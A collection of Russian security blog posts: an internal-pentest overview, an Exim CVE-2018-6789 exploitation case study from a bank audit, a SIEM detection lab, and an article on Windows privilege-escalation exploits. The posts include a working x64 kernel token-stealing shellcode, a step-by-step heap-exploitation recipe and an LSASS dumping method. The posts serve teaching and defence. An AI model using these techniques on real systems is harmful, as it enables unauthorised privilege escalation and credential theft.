Тестирование на проникновение

Протестируй меня полностью кому и зачем нужен внутренний пентест

21.07.2020 10:07:42 |

Автор: admin

Опаснее всего враг, о котором не подозреваешь.
(Фернандо Рохас)

ИТ-инфраструктуру современной компании можно сравнить со средневековым замком. Высокие стены, глубокий ров и стража у ворот защищают от внешнего врага, а за тем, что происходит внутри крепостных стен, практически никто не следит. Так же и многие компании: они прилагают колоссальные усилия для защиты внешнего периметра, а внутренняя инфраструктура при этом остается обделенной. Внутреннее тестирование на проникновение для большинства заказчиков пока процесс экзотический и не очень понятный. Поэтому мы решили рассказать о нем все (ну, почти все), что вы хотели знать, но боялись спросить.

Внешний враг (страшный хакер в черной толстовке с капюшоном) выглядит пугающе, но огромная часть утечек корпоративной информации происходит по вине инсайдеров. По статистике нашего центра мониторинга Solar JSOC, на внутренние инциденты приходится примерно 43% от общего количества угроз. Одни организации полагаются на средства защиты часто некорректно настроенные, которые можно легко обойти или отключить. Другие вообще не рассматривают инсайдера как угрозу и закрывают глаза на недостатки защиты внутренней инфраструктуры.

Проблемы, которые мы выявляем при анализе внутрянки, кочуют из компании в компанию:
слабые и неизменяемые пароли для сервисных и привилегированных учетных записей;
одинаковые пароли для обычной учетной записи администратора и привилегированной;
одна учетная запись локального администратора на всех рабочих станциях в сети;
ненадежное хранение паролей;
активные учетные записи уволенных сотрудников;
чрезмерные привилегии для сервисных и пользовательских учетных записей;
отсутствие сегментации сети.

Важно: в этом посте речь идет о Windows-сетях с использованием Active Directory.

Кто и что проверяет

Глобально тестирование на проникновение позволяет выявить, насколько потенциальный злоумышленник может навредить ИТ-инфраструктуре конкретной компании. Для этого специалисты по кибербезопасности, проводящие пентест, симулируют действия хакера с применением реальных техник и инструментов, но без вреда для заказчика. Результаты проверки помогают повысить уровень безопасности организации, сократив риски для бизнеса. У такого тестирования есть два направления: внешнее и внутреннее. В первом случае белый хакер должен найти уязвимости, с помощью которых можно проникнуть во внутреннюю сеть (то есть пробить ту самую крепостную стену).

Внутреннее же тестирование на проникновение проверяет, насколько инфраструктура уязвима перед инсайдером или нарушителем, у которого есть доступ в локальную сеть организации. Смогут ли они при желании контролировать ЛВС, беспрепятственно передвигаться по ней и влиять на работу отдельных серверов? Такие работы проводятся во внутренней сети, причем чаще с позиции сотрудника, обладающего минимальными привилегиями. При этом проверять можно (и нужно) даже тех работников, которые имеют только физический доступ к компьютерам (например, уборщики, электрики, охранники, курьеры и пр.).

Пентест не должен выявлять все существующие в компании уязвимости на всех хостах внутренней сети (это можно сделать с помощью сканера уязвимостей или корректной настройкой политик управления уязвимостями). У него совсем другая задача: найти один-два маршрута, по которым может пойти злоумышленник, чтобы успешно атаковать свою жертву. Выполнение работ фокусируется на настройках безопасности и особенностях Windows. Словом, здесь уже не будет производиться, например, сканирование открытых портов и поиск хостов с неустановленными обновлениями.

Как это происходит

Тестирование безопасности внутренней инфраструктуры проходит в несколько этапов:

Вот пример того, как в реальности проходил подобный внутренний пентест в рамках одного из наших проектов:
сначала мы выявили общие файловые ресурсы, на которых располагались веб-приложения;
в одном файле конфигурации обнаружили пароль пользователя SA (Super Admin) к базе данных MS SQL;
с помощью встроенной в MS SQL утилиты sqldumper.exe и процедуры xp_cmdshell получили дамп процесса LSASS, через подключение к СУБД:
из процесса извлекли пароль пользователя с привилегиями доменного администратора.

Так как внутреннее тестирование на проникновение рассматривает только внутреннюю (что очевидно) инфраструктуру организации, совершенно не важно, каким образом злоумышленник получил первоначальный доступ в сеть важно, как он воспользовался этим доступом. Поэтому в финальном отчете, составленном по итогам пентеста, описываются не обнаруженные уязвимости, а история того, как специалист продвигался по сети, с какими препятствиями и трудностями он столкнулся, как их обошел и каким образом выполнил поставленную задачу. Специалист может обнаружить несколько недостатков, но для достижения цели будет выбран один самый оптимальный или интересный. При этом все замеченные по дороге уязвимости также попадут в отчет. В результате заказчик получит рекомендации по исправлению недочетов и повышению уровня безопасности внутренней инфраструктуры.

По сути внутренний пентест продолжает внешний, отвечая на вопрос: Что произойдет после того, как киберпреступник попал в сеть?. Для сравнения в процессе тестирования на проникновение внешнего периметра обычно используется следующая методология:

Кто заходит в инфраструктуру

Итак, каким образом злоумышленник попал в сеть не важно, поэтому на начальном этапе планирования работ по внутреннему пентесту могут рассматриваться модели инсайдера или внешнего нарушителя.

1) Модель инсайдера. Инсайдер это мотивированный внутренний злоумышленник, у которого есть легитимный доступ к инфраструктуре организации, ограниченный только должностными обязанностями. Например, реальный сотрудник, который решил навредить своей компании. Также в роле инсайдеров могут выступать сотрудники вспомогательных служб (охранники, уборщики, электрики и др.), у них есть легитимный доступ в офис, но отсутствуют права доступа к инфраструктуре.

2) Модель внешнего нарушителя. Модель не фокусируется на том, каким образом был получен доступ (уязвимость в ПО периметра, утечка учетных данных, социальная инженерия или что-то другое) во внутреннюю сеть организации. За начальную точку принимается тот факт, что чужак уже внутри.

После составления модели угрозы моделируется и сама ситуация, при которой исполнитель получит доступ к инфраструктуре:
физический доступ с предоставлением рабочего места и учетных данных пользователя;
физический доступ с предоставлением доступа в сеть без учетных данных. Доступ в сеть может быть как проводной, так и беспроводной (Wi-Fi);
удаленный доступ к рабочему месту или сервису удаленных рабочих столов. Это самый распространенный вариант: в данном случае моделируется или инсайдер, или злоумышленник, получивший доступ через утечку учетных данных либо перебор паролей;
запуск вредоносного документа, эмуляция фишинговой атаки. Документ запускается с целью установки канала связи с командным центром (Command & Control), откуда будет проводиться пентест. Этот метод относительно новый для тестирования безопасности внутренней инфраструктуры, но наиболее реалистичный с точки зрения действий злоумышленника.

При этом пентест это не бесцельное блуждание по чужой инфраструктуре. У белого хакера всегда есть цель, поставленная заказчиком. Самым распространённым сценарием для внутреннего тестирования на проникновение является получение привилегий доменного администратора. Хотя в реальности злоумышленники редко стремятся получить такие привилегии, так как это может привлечь к ним ненужное внимание. Поэтому в большинстве случаев привилегии доменного администратора будут скорее не целью, а средством ее достижения. А целью может стать, например, захват корпоративной сети, получение доступа к рабочей станции и серверу или к приложению и базе данных.

Кому все это нужно

А стоит ли вообще заказчику пускать пентестеров в свою корпоративную сеть? Однозначно, стоит. Именно здесь находятся самые критичные данные и главные секреты компании. Чтобы защитить ЛВС, необходимо знать все ее закоулки и недостатки. И внутреннее тестирование на проникновение может в этом помочь. Оно позволяет увидеть слабые места в инфраструктуре или проверить настроенные контроли безопасности и улучшить их. Кроме того, внутренний пентест это более доступная альтернатива Red Team. Ну, если есть задача продемонстрировать руководству, что выделяемых средств недостаточно для обеспечения безопасности внутренней инфраструктуры, внутренний пентест позволяет подкрепить этот тезис фактами.

Автор: Дмитрий Неверов, эксперт по анализу защищенности, Ростелеком-Солар

Подробнее..

Категории: Информационная безопасность , Cybersecurity , Ит-инфраструктура , Блог компании ростелеком-солар , Пентест , Тестирование на проникновение

Как мы нашли уязвимость в почтовом сервере банка и чем она грозила

16.10.2020 20:06:22 |

Автор: admin

Мы часто проводим пентесты для банков и других финансовых организаций. Так же часто обнаруживаем уязвимости разного уровня критичности. Этот пост про один из таких кейсов.

Недавно, проверяя защищенность веб-ресурсов банка, мы нашли уязвимость в почтовом сервере Exim 4.89, которая может приводить к удаленному выполнению кода. Уязвимость известна как CVE-2018-6789. Применив PoC-эксплойт, мы получили Reverse Shell к удаленной машине, а затем и доступ к веб-сайту банка.

Естественно, мы заинтересовались, почему такая эксплуатация уязвимости стала возможной.

Откуда взялась CVE-2018-6789

Если совсем коротко, уязвимость существует из-за ошибки вычисления длины буфера в функции base64.c:b64decode, используемой в Exim. Подробнее об этом можно прочитать здесь (на английском).

Если подать на вход строку особой длины, можно перезаписать один байт информации и с помощью несложных действий изменить команды сервера, тем самым выполнив произвольный код (RCE).

Exim выделяет буфер размером 3*(len/4)+1 байт для хранения декодированных данных. Однако если на вход функции подать некорректную по длине base64-строку, например длинной 4n+3, то Exim выделит 3n+1 байт под буфер. Но при этом запишет в буфер 3n+2 байта данных. Это вызывает перезапись одного байта в куче.

В Exim существуют функции store_malloc_3 и store_free_3 обертки для функций malloc и free из Glibc. Glibc выделяет большой блок данных, затем сохраняет в первых 0x10 байтах свои метаданные и возвращает указатель на память куда уже пользователь может записывать свои данные. Вот как это выглядит:

Метаданные включают размер предыдущего блока (тот, который находится в памяти выше), размер текущего блока и некоторые флаги. Первые три бита размера используются для хранения флагов. В примере размер 0x81 подразумевает, что текущий фрагмент составляет 0x80 байтов, а предыдущий фрагмент уже используется.

Освобожденные блоки, когда-то используемые в Exim, помещаются в двусвязный список. Glibc поддерживает его в соответствии с флагами и объединяет смежные освобожденные фрагменты в более крупный фрагмент, чтобы избежать фрагментации. Для каждого запроса на выделение памяти Glibc проверяет эти фрагменты в порядке FIFO и повторно их использует.

Для повышения производительности Exim использует свою надстройку для управления памятью; в ее основе лежит структура storeblock. Основная особенность storeblock заключается в том, что каждый из них имеет размер не менее 0x2000 байт, что становится ограничением для эксплуатации. Обратите внимание, что storeblock также является данными блока. Вот как это выглядит в памяти:

Команды, поддерживаемые почтовым сервером, для организации данных в куче:

EHLO hostname. При каждом выполнении команды EHLO hostname сохраняется в переменную sender_host_name. Соответственно, сначала выполняется store_free для старого имени и store_malloc для нового.
Любая неопознанная команда. Для каждой нераспознанной команды, составленной из непечатаемых символов, Exim выделит буфер для конвертации ее в читаемые символы.
AUTH. В большинстве процедур аутентификации Exim использует кодировку base64 для связи с клиентом. Строка кодирования и декодирования хранится в буфере, выделенном store_get (). Буфер под закодированную и декодированную строку выделяется с помощью store_get().
Reset в командах EHLO/HELO, MAIL, RCPT. Когда команды завершаются корректно, Exim вызывает smtp_reset. Она в свою очередь вызывает store_reset для того, чтобы сбросить цепочку блоков до точки сброса. Это значит, что все storeblock-и выделенные store_get после последней команды будут освобождены.

Как эксплуатируется уязвимость

Для того что использовать однобайтовое переполнение в куче, у нас должна быть возможность освободить блок данных, который находится под декодированной base64 строкой. Для этого подойдет sender_host_name.

Необходимо сформировать кучу таким образом, чтобы оставить освобожденным блок данных над блоком, содержащим sender_host_name.

Для этого нужно:

1. Положить большой блок в unsorted bin. Прежде всего, мы отправляем сообщение EHLO с именем хоста избыточной длины, чтобы он выделил и освободил кусок длиной 0x6060 в unsorted bin.

2. Выделить первый storeblock. Затем мы отправляем нераспознаваемую команду для того, чтобы вызвать store_get () и выделяем storeblock внутри освобожденного фрагмента.

3. Выделить второй блок и освободить первый. Отправляем EHLO, чтобы получить второй блок. Первый блок освобождается последовательно из-за smtp_reset, вызываемого после завершения EHLO.

После того как куча подготовлена, мы можем использовать ее для перезаписи исходного размера, блока. Модифицируем 0x2021 на 0x20f1, что немного расширяет блок.

4. Отправить данные base64 и переполнить 1 байт на куче. Запускаем команду AUTH для отправки данных base64.

5. Создать и отправить строку подходящего размера. Поскольку мы расширили блок данных, начало следующего фрагмента теперь будет лежать где-то внутри. Теперь нам нужно исправить его для того, чтобы пройти проверку целостности Glibc. Мы отправляем сюда еще одну строку base64.

6. Освободить расширенный блок. Чтобы контролировать содержимое расширенного блока, нам нужно сначала освободить блок, потому что мы не можем редактировать его напрямую. То есть мы должны отправить новое сообщение EHLO, чтобы освободить старое имя хоста. Однако обработка команды EHLO вызывает smtp_reset после ее успешного выполнения. Это может привести к прерыванию программы или ее аварийному завершению. Чтобы этого избежать, мы отправляем недопустимое имя хоста, например а+.

7. Перезаписать следующий указатель перекрывающегося блока storeblock.

После того, как фрагмент освобожден, мы можем получить его с помощью AUTH и перезаписать часть перекрывающегося блока storeblock. Здесь мы используем прием, называемый частичной записью. Благодаря этому мы можем изменить указатель, не нарушая ASLR. Мы частично изменили следующий указатель на блок, содержащий строки ACL. Строки ACL указываются набором глобальных указателей, например uschar *acl_smtp_helo;

Эти указатели инициализируются в начале процесса Exim и устанавливаются в соответствии с конфигурацией. Например, если в конфигурации есть строка acl_smtp_mail = acl_check_mail, указатель acl_smtp_mail указывает на строку acl_check_mail.

Каждый раз, когда сервер получает команду MAIL FROM, Exim выполняет проверку ACL, которая сначала раскрывает acl_check_mail. При раскрытии, если Exim встретит строку $ {run {cmd}}, то он попытается выполнить команду cmd,, поэтому удаленный злоумышленник может добиться выполнения кода.

8. Сбросить storeblock и получить storeblock, содержащий ACL. Теперь блок ACL находится в цепочке блоков. Он будет освобожден после выполнения smtp_reset (), а затем мы сможем получить его снова, выделив несколько блоков.

9. Перезаписать строки ACL и запустить проверку ACL. Наконец, мы перезаписываем весь блок, содержащий строки ACL. Теперь мы отправляем такие команды, как EHLO, MAIL, RCPT для запуска проверки ACL.

К слову, эксплуатацию уязвимости облегчила выключенная по какой-то неведомой нам причине ASLR.

Какие проблемы были у заказчика

Первая отсутствие управления обновлениями. Из-за того, что использовалась старая версия Exim, удалось организовать компрометацию системы. Чтобы избежать этого, мы рекомендуем организовать регулярную проверку и установку обновлений безопасности на компоненты информационной инфраструктуры.

Проверку наличия новых обновлений безопасности и критических обновлений рекомендуем проводить не реже раза в месяц. Для проверки обновлений лучше использовать сайты/рассылки производителей оборудования или информацию с репозиториев.

Также в банке отсутствовал процесс управления уязвимостями, из-за чего уязвимость не была вовремя обнаружена. Исправить ситуацию помогло бы использование специализированных сканеров уязвимостей например, OpenVAS, Nessus, xSpider и т. п. А также проведение регулярных тестирований на проникновение и контроль сроков устранения уязвимостей.

И последнее, но немаловажно. В банке отсутствовал процесс управления изменениями. Все изменения делались администраторами сразу в production-среде. Следовательно, никто это не контролировал и не мониторил. Это и привело к тому, что на сервере был выключен ASLR.

Вывод

Несколько, казалось бы, несвязанных между собой нарушений привели к тому, что сайт банка был скомпрометирован. Этим могли воспользоваться злоумышленники, чтобы, например, поменять реквизиты банка на собственные.

История закончилась хорошо. После компрометации мы сразу же оповестили клиента о ситуации. Банк в срочном порядке обновил Exim-сервер до актуальной версии, для которой уязвимость уже не актуальна. Однако если бы уязвимость была выявлена не во время пентеста, а реальными злоумышленниками, исход мог бы быть другим.

Подробнее..

Категории: Информационная безопасность , Pentest , Тестирование на проникновение , Блог компании itglobal.com , Аудит иб , Exim

Использование SIEM в ходе подготовки этичных хакеров открываем цикл практических лабораторных работ

19.10.2020 00:12:27 |

Автор: admin

Как мы готовим в наших университетах и учебных центрах этичных хакеров? Как правило, предоставляем им Kali Linux или Сканер-ВС, включающие набор инструментов для тестирования защищенности и машину со множеством уязвимостей. В результате слушатели могут получить довольно поверхностное представление о том, как проводится тестирование на проникновение на самом деле, так как в реальных проектах пентестеры имеют дело с инфраструктурами, включающими средства защиты информации и системы мониторинга событий информационной безопасности (SIEM). Чтобы исправить ситуацию и предоставить начинающим специалистам возможность изучать методы тестирования защищенности и инструменты мониторинга событий информационной безопасности в комплексе, мы начинаем этой статьей публикацию практических лабораторных работ.

Наша вводная лабораторная работа посвящена выявлению инцидента, связанного с получением доступа к административной панели web-сервера.

Кейс

Во время отпуска администратора информационной безопасности были привлечены сторонние разработчики для создания web-приложения, которое планировалось разместить на web-сервере Tomcat. Разработчики для удобства сделали доступной всему внешнему миру веб-консоль управления приложениями сервера и создали нетривиальную учётную запись admin:admin.

Угроза

Злоумышленник, сканируя внешние хосты организации, наталкивается на порт 8080 рассматриваемого веб-сервера, убеждается в доступности административной консоли и после немногочисленных попыток успешно подбирает пароль к учётной записи администратора.

Задача

Необходимо определить, как администратор ИБ мог бы до своего отпуска настроить SIEM, чтобы своевременно зарегистрировать инцидент, связанный с рассматриваемой угрозой. После этого необходимо реализовать данный сценарий атаки и убедиться в корректном срабатывании директив корреляции.

Виртуальная инфраструктура

Ситуация развивается в следующей ИТ-инфраструктуре, развернутой в VirtualBox:

Машина атакующего (Kali Linux, IP: 8.8.8.10, 4GB RAM, kali:kali);
Межсетевой экран с системой обнаружения вторжений (pfSense, IP внешний: 8.8.8.1, IP внутренней сети: 192.168.1.1, IP DMZ: 192.168.2.1, 1GB RAM, admin:pfsense);
Web-сервер (Ubuntu Server 18.04 c Tomcat, IP 192.168.2.15, 2GB RAM, user:user);
Сервер SIEM-системы КОМРАД (Ubuntu 20.04, IP 192.168.1.99, 4GB RAM, user:user).

Если интересно самостоятельно развернуть данную инфраструктуру, то можно воспользоваться инструкцией, если же есть желание сэкономить время, то мы выложили сконфигурированные виртуальные машины в формате OVA. SIEM-систему необходимо будет получить дополнительно, но об этом будет написано ниже.

Решение: настройка SIEM-системы

Для решения задачи мы последовательно выполним действия злоумышленника, проведем анализ того, как они отражаются в журналах межсетевого экрана и веб-сервера, настроим сбор, парсинг и фильтрацию событий, а также создадим необходимые директивы корреляции в SIEM-системе.
В руководстве по нашей лабораторной представлены подробные шаги по решению данной задачи, в статье же мы сконцентрируемся только на ключевых моментах.

1. Отправка событий с межсетевого экрана

Межсетевой экран pfSense позволяет отправлять свои журналы по протоколу Syslog на удаленный сервер, для этого достаточно задать IP-адрес и порт syslog-коллектора SIEM КОМРАД, а также добавить правило, разрешающее отправку логов из сети 192.168.2.0/24 во внутреннюю сеть 192.168.1.0/24.

В SIEM-систему будут поступать события следующего вида:

<134>1 2020-10-18T02:33:40.684089+00:00 pfSense.localdomain filterlog 9761 - 4,,,1000000103,em0,match,block,in,4,0x0,,64,25904,0,DF,6,tcp,60,8.8.8.10,8.8.8.1,35818,1721,0,S,1017288379,,64240,,mss;sackOK;TS;nop;wscale

Как можно заметить, данная запись содержит такую важную информацию, как IP-адрес хоста, инициировавшего соединение, IP-адрес хоста, с которым пытаются установить соединение, а также индикацию того, что попытка соединения была заблокирована.

2. Отправка событий с web-сервера

Web-cервер Tomcat регистрирует http-запросы в локальных журналах, которые можно перенаправить через rsyslog в SIEM-систему. Для решения этой задачи можно воспользоваться также и файловым коллектором, который входит в состав SIEM-системы КОМРАД. В записях можно увидеть, что регистрируется IP-адрес хоста, с которого поступил запрос, а также учётная запись пользователя в случае его успешной авторизации:

3. Получение потока событий SIEM-системой КОМРАД

Рассмотренные события автоматически регистрируется SIEM-системой КОМРАД:

Упомянутых двух типов событий достаточно, чтобы выявлять следующие ситуации:

Блокировка соединения по признаку block;
Сканирование портов в случае нескольких блокировок попыток соединений, инициированных одним и тем же хостом;
Подозрение на несанкционированный доступ сканирование портов с последующим получением административного доступа.

Все три ситуации могут быть инцидентами информационной безопасности, но, конечно, с разными уровнями важности.

Перед тем, как регистрировать инциденты нам необходимо научиться извлекать указанную выше полезную информацию из событий.

4. Разбор событий SIEM-системой КОМРАД (парсинг)

Для парсинга событий источника в SIEM-системе необходимо создать плагин, включающий в себя набор регулярных выражений. Для самых популярных источников в составе КОМРАД уже имеются готовые плагины. В случае отсутствия плагина для пользователя доступна возможность его создания.

Ниже представлен пример разработки регулярного выражения для извлечения полей из рассмотренного выше события межсетевого экрана. В качестве инструмента отладки мы воспользовались порталом https://regex101.com/

После создания плагина данные из событий извлекаются в отдельные поля, как это видно из следующей карточки события:

5. Настройка фильтров для извлечения из потока интересующих событий информационной безопасности

Для того, чтобы в потоке событий, поступающих в SIEM-систему выявлять интересующие нас события, нам понадобится настроить фильтры. В SIEM-системе КОМРАД фильтры формируются с использованием популярного скриптового языка Lua (ИБ-специалистам он уже знаком по Nmap и Suricata).

Для выбора событий межсетевого экрана, связанных с блокировкой соединения, мы создадим следующий фильтр:

-- функция filter принимает событиеfunction filter(event)-- из события извлекается действие, которое было предпринято и IP-адрес машины, инициировавшей подключение    action = event:getString ('Action')    ip = event:getString ('IpSrc')-- в случае блокировки возвращается IP-адрес, который можно использовать в директиве корреляции    if action == 'block' then        return {IP=ip}    endend

Ненамного сложнее выглядит фильтр для события Tomcat, в котором мы проверяем соответствует ли извлечённая из события учётная запись значению admin. В этом случае также возвращаем IP-адрес.

function filter(event)    journal = event:getString ('Journal')    login = event:getString ('Username')    ip = event:getString ('IpSrc')        if journal == 'tomcat-access' and login == 'admin' then        return {IP=ip}    endend

При использовании в продуктивной среде для повышения производительности системы в начале каждого фильтра может потребоваться поставить проверку на определенный идентификатор коллектора для ограничения области действия фильтра.

6. Создание директив корреляции

Создадим директивы корреляции для рассматриваемых ситуаций со следующими уровнями важности:

Блокировка соединения несущественная;
Сканирование портов низкая;
Отправка http-запросов с использованием учетной записи admin высокая.

Для создания инцидента в случае блокировки соединения достаточно в директиве корреляции указать на единственный применяемый фильтр:

filter 5

Вторая директива, которая должна создавать инцидент в случае трехкратного срабатывания блокировки соединения, инициированного одним и тем же хостом, будет выглядеть следующим образом:

/*Объявляем переменную ip, которой присваиваем значение, получаемое при первом срабатывании фильтра на блокировку соединения.*/var ipfilter 5 export ip = ep.IP/*Ожидаем в течение одной минуты аналогичного события с совпадающим IP.С помощью ключевого слова notforking, обозначаем необходимость остановки шага при первом срабатывании.*/filter 5 +1m where ep.IP==ip notforking//повторяем для третьего события.filter 5 +1m where ep.IP==ip notforking

В третьей директиве мы добавляем еще одну строку, в которой задействуем фильтр с идентификатором 6, созданный для выборки запросов к веб-серверу с учетной записью admin.

var ipfilter 5 export ip = ep.IPfilter 5 +1m where ep.IP==ip notforkingfilter 5 +1m where ep.IP==ip notforkingfilter 6 +1m where ep.IP==ip notforking

В учебном примере временное окно оставили равным 1 минуте, в реальной жизни имеет смысл его увеличить до нескольких минут.

Решение: проведение атаки и ее выявление

После конфигурации источников событий и SIEM-системы настало время провести учебную атаку. Сначала просканируем порты:

Затем заходим на порт 8080 и проходим авторизацию с учётной записью admin:admin:

Указанные действия фиксируются SIEM-системой КОМРАД: срабатывают все три директивы корреляции:

Заключение

Таким образом, в этой лабораторной работе мы увидели последовательность действий по сбору и анализу событий информационной безопасности в случае получения административного доступа к веб-серверу. В следующей лабораторной работе нападающая сторона будет развивать атаку и использовать полученный административный доступ для сбора информации о целевой инфраструктуре.

Как получить демо-версию SIEM-системы КОМРАД

Сейчас проходит бета-тестирование нашего продукта, в котором может принять участие любой желающий. Для этого мы предоставляем текущую версию SIEM-системы в виде Docker-контейнера. В демо-версии всего два ограничения: скорость обработки событий урезана до 1000 EPS и отсутствует система авторизации и управления доступом.

Для того, чтобы получить архив с демо-версией напишите нам на адрес электронной почты getkomrad@npo-echelon.ru c почтового ящика вашей организации (нам интересно, кто примет участие). Также приглашаем вас в нашу группу в Telegram, где можно получить помощь в случае каких-либо затруднений: https://t.me/komrad4

Ссылки

Виртуальные машины для организации учебной инфраструктуры в VirtualBox: https://yadi.sk/d/GQ4BFn_soDJj0A
Инструкция по развертыванию инфраструктуры с нуля, если не хочется пользоваться готовыми машинами: https://yadi.sk/i/tD8nxckjYwr_6Q
Решение лабораторной 1: https://yadi.sk/i/ffztj2XQMPD-xw

Подробнее..

Категории: Информационная безопасность , Лабораторные работы , Хакинг , Тестирование на проникновение , Siem , Блог компании эшелон

Как работают эксплойты по повышению привилегий в ОС Windows

01.12.2020 16:10:27 |

Автор: admin

Для будущих студентов курса "Пентест. Практика тестирования на проникновение" подготовили авторскую статью от нашего эксперта - Александра Колесникова.

Также приглашаем записаться на открытый вебинар по теме "Windows ad: сбор информации, эскалация привилегий. Эксплойты и уязвимости последних 5 лет."

Тема получения безграничного доступа к системе очень интересна в контексте тестирования на проникновение. Получить доступ к системе и запустить команду сегодня это только половина победы. Вторая половина достигается только в тот момент, когда удается обойти подсистемы песочниц и ограничений, которые есть в операционной системе.

Эта статья расскажет о некоторых особенностях эксплойтов для повышения привилегий в операционной системе Windows.

Privileges in Windows

Для понимания, как работает эскалаций привилегий, необходимо разобраться с разграничением доступа в операционной системе Windows. Описание системы разграничения доступа можно найти на официальном сайте. Согласно документации, разграничение доступа в ОС Windows строится на следующих понятиях:

Пользователи
Группы

У каждого из перечисленных объектов есть свой индивидуальный идентификатор SID. Вообще, этот идентификатор используется для обозначения любого объекта, с которым работает операционная система, и для него требуется контроль доступа, но нас интересует в первую очередь использование этого идентификатора в контексте пользователей, групп и их прав. Идентификатор используется для того, чтобы создать для пользователя токен доступа. Данный токен содержит информацию о том, какие права имеет пользователь и группы, в которые он входит. Токен будет использоваться для подтверждения или запрета действий над объектами операционной системы, называемыми Securable Objects. Токены доступа бывают:

Primary token токен, которым наделяет пользователь процесс, когда запускает приложение.
Impersonation token токен, который может работать от имени любого пользователя операционной системы. Также может применяться для клиент-серверного взаимодействия или для запуска потока процесса с другими привилегиями.

Отсюда становится ясно, что основная цель любой эскалации привилегий это получение токена доступа, который создается привилегированными пользователями. В общем случае, в ОС Windows это стандартные пользователи, которые называются: Administrator и System. Именно их токены открывают двери к любой информации, которая есть в операционной системе.

Из официальной документации токен состоит из отдельных объектов:

Структура достаточно сложная и просто так скопировать или модифицировать ее не получится из-за того, что токен хранится в защищенном от модификации месте (как сказано в документации). Выясним, где она находится. Для этого запустим операционную систему Windows в отладочном режиме и исследуем все структуры, которые используются для работы процесса. Если обратиться снова к официальной документации, то начинать стоит со структуры EPROCESS.

Получается, что информация о токене процесса хранится в ядре и поэтому в документации это помечено как область, которую нельзя изменить. Теоретически это действительно так: обычные приложения, которые работают в 3-м кольце, не могут модифицировать то, что хранится в 0-м. Но если модифицировать из ядра структуру внутри ядра, то здесь нет никаких ограничений и противоречий. Обратимся к отладчику:

Жирным цветом выделен адрес структуры EPROCESS, чтобы изучить её более подробно вызовем команду отладчика:

Похоже, что и искать долго не придется, токен находится буквально сразу. В 64-битных операционных системах ссылка на него находится по смещению 0x208. Чтобы ее прочитать нужно маскировать адрес:

Это адрес, который необходимо маскировать полностью, кроме последнего байта:

Над адресом токена нужно вызвать одноименную команду и мы можем убедиться, что действительно, как указано в документации, токен содержит информацию, которая была заявлена:

Из рисунка видно, что все привилегии, которые содержит токен, располагаются в виде битовой маски и имеют названия, которые начинаются с префикса Se. Именно эти поля нам и нужно модифицировать, чтобы операционная система позволяла процессу читать что угодно в операционной системе. Определившись с целью, время поговорить об атаках на набор привилегий, уязвимостях и экспортах к ним.

LPE или что делать с токеном

Изменение привилегий в токене может быть весьма тривиальной задачей несмотря на то, что эти самые привилегии очень сложно структурированы. Основной атакой, которую применяют для эскалации привилегий - перезапись ссылки на токен, которая содержится в структуре EPROCESS. Иными словами токен не изменяется, меняется адрес, где лежит токен. Обычно этот адрес выбирается из системного процесса, который постоянно может присутствовать в операционной системе. Результатом такой операции становится процесс или отдельный поток, который может делать в ОС всё, что угодно. Ниже приведем пример кода, который позволяет произвести кражу токена:

[BITS 64] start:    mov rdx, [gs:188h]      ;get _ETHREAD указатель из KPCR    mov r8, [rdx+70h]       ;_EPROCESS    mov r9, [r8+188h]       ;ActiveProcessLinks начало списка     mov rcx, [r9]           ;найти первый процесс в спискеfind_system_proc:    mov rdx, [rcx-8]        ;смещение от ActiveProcessLinks до UniqueProcessId    cmp rdx, 4              ;System процесс    jz found_it    mov rcx, [rcx]          ;переходим по _LIST_ENTRY Flink указателю    cmp rcx, r9                jnz find_system_proc found_it:    mov rax, [rcx+80h]      ;смещение ActiveProcessLinks до токена    and al, 0f0h            ;очищаем 4 бита _EX_FAST_REF структуры    mov [r8+208h], rax      ;заменить токен текущего процесса системным    ret

Приведенный выше код позволяет скопировать токен для текущего процесса из системного процесса с идентификатором 4. Стоит отметить, что код должен быть запущен в контексте ядра операционной системы. Это означает, что он либо должен быть выполнен драйвером, либо шелкодом, который будет загружаться в память через уязвимость операционной системы.

Уязвимости и эксплойты

Операционная система Windows, как и любая другая сложная система, насчитывает миллионы строк кода. И, как в любом большом проекте, его размер не позволяет исключать ошибки и недочеты. На картинке ниже представлена статистика найденных в ОС уязвимостей последних 5 лет. В нее включены уязвимости для повышения привилегий:

Данные об уязвимостях взяты отсюда. Статистика показывает, что уязвимостей достаточно, чтобы можно было найти себе необходимую для повышения привилегий. Для исследования будем использовать готовые эксплойты. Попробуем восстановить последовательность действий, которые проводятся для достижения цели - эскалации привилегий. Список уязвимостей будет следующим:

CVE-2015-2546
CVE-2016-3309
CVE-2017-0101
CVE-2018-8120
CVE-2019-1458
CVE-2020-0796

CVE-2015-2546

Уязвимость в Win32k модуле операционной системы, повреждение памяти. Фрагмент эксплойта, который отвечает за изменение токена процесса:

Кажется, это тот самый код, который был представлен выше. В нем видоизменен подход к поиску токена, но основная идея та же получить ссылку на токен из процесса с PID=4(System.exe).

CVE-2016-3309

Уязвимость в Win32k, снова проблема с повреждением памяти, взглянем на кусок кода, который используется для замены токена:

В этом случае автор использовал язык программирования C, так же была изменена часть поиска адреса токена, но снова методика замены токена перезапись адреса из системного процесса.

CVE-017-0101

Уязвимость в user32 GDI объектах и снова повреждение памяти. Код замены токена:

Код скопирован из эксплойта 2016 года, похоже, что на этот период примитивы для проведения эскалаций привилегий еще пока что не митигировались в Windows.

CVE-2018-8120

Уязвимость в Win32k компоненте, в этот раз неверно обрабатывается nullpointer, код для замены токена:

Автор эксплойтов явно не спешит использовать что-то другое или хотя бы новое. Снова код, который ищет System.exe и использует его токен.

CVE-2019-1458

Уязвимость в Win32k, повреждение памяти, код замены токена:

Вот и первые изменения, автор больше не мог использовать код, который его выручал на протяжении 3х лет. Теперь токен заменяется через примитивы, которые использовались для эксплуатации уязвимостей в Windows 10 метод Bitmap. По механике он делает тоже самое, но достигается это за счет использования объектов подсистемы Win32k.

CVE-2020-0796

Уязвимость в драйвере, который обрабатывает SMBv3 запросы. Проблема таилась в переполнении целочисленного типа, который отвечал за количество выделяемой памяти в ядре. Код замены токена:

Случай с этой уязвимостью особенный. В первую очередь потому, что замена и перезапись токена осуществляется за 1 проход при получении неверно сформатированного запроса по SMBv3, поэтому в исходнике не происходит никаких дополнительных вычислений и действий по отношению к токену System.exe и процесса пользователя.

Вместо заключения

